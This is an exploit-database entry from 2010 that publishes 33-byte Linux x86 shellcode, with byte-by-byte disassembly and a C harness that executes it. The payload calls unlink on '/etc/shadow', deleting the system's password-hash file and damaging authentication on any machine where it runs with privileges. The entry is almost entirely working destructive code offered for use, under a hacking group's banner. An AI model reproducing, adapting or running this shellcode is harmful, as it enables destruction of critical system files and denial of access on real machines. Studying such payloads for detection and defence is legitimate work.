linux/x86 unlink "/etc/shadow" shellcode 33 bytes

2010-06-02T00:00:00
ID 1337DAY-ID-12508
Type zdt
Reporter gunslinger_
Modified 2010-06-02T00:00:00

Description

Exploit for linux/x86 platform in category shellcode

                                        
                                            =================================================
linux/x86 unlink "/etc/shadow" shellcode 33 bytes 
=================================================


/*
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1               #########################################              1
0               I'm gunslinger_ member from Inj3ct0r Team              1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1


Name   : 33 bytes unlink "/etc/shadow" x86 linux shellcode
Date   : Wed Jun  2 18:01:44 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web    : http://devilzc0de.org
blog   : http://gunslingerc0de.wordpress.com
tested on : linux debian
*/
#include <stdio.h>

char *shellcode=
		"\xeb\x0f"                    /* jmp    0x8048071 */
		"\x31\xc0"                    /* xor    %eax,%eax */
		"\xb0\x0a"                    /* mov    $0xa,%al */
		"\x5b"                        /* pop    %ebx */
		"\xcd\x80"                    /* int    $0x80 */
		"\x31\xc0"                    /* xor    %eax,%eax */
		"\xb0\x01"                    /* mov    $0x1,%al */
		"\x31\xdb"                    /* xor    %ebx,%ebx */
		"\xcd\x80"                    /* int    $0x80 */
		"\xe8\xec\xff\xff\xff"        /* call   0x8048062 */
		"\x2f"                        /* das     */
		"\x65"                        /* gs */
		"\x74\x63"                    /* je     0x80480dd */
		"\x2f"                        /* das     */
		"\x73\x68"                    /* jae    0x80480e5 */
		"\x61"                        /* popa    */
		"\x64\x6f"                    /* outsl  %fs		"(%esi),(%dx) */
		"\x77";                        /* .byte 0x77 */

int main(void)
{
		fprintf(stdout,"Length: %d\n",strlen(shellcode));
		((void (*)(void)) shellcode)();
		return 0;
}



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